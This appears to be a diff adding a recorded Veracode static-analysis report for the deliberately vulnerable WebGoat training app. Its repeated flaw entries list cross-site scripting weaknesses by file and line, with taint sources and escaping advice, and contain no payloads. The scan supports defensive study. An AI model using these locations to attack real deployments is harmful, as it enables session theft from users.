+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
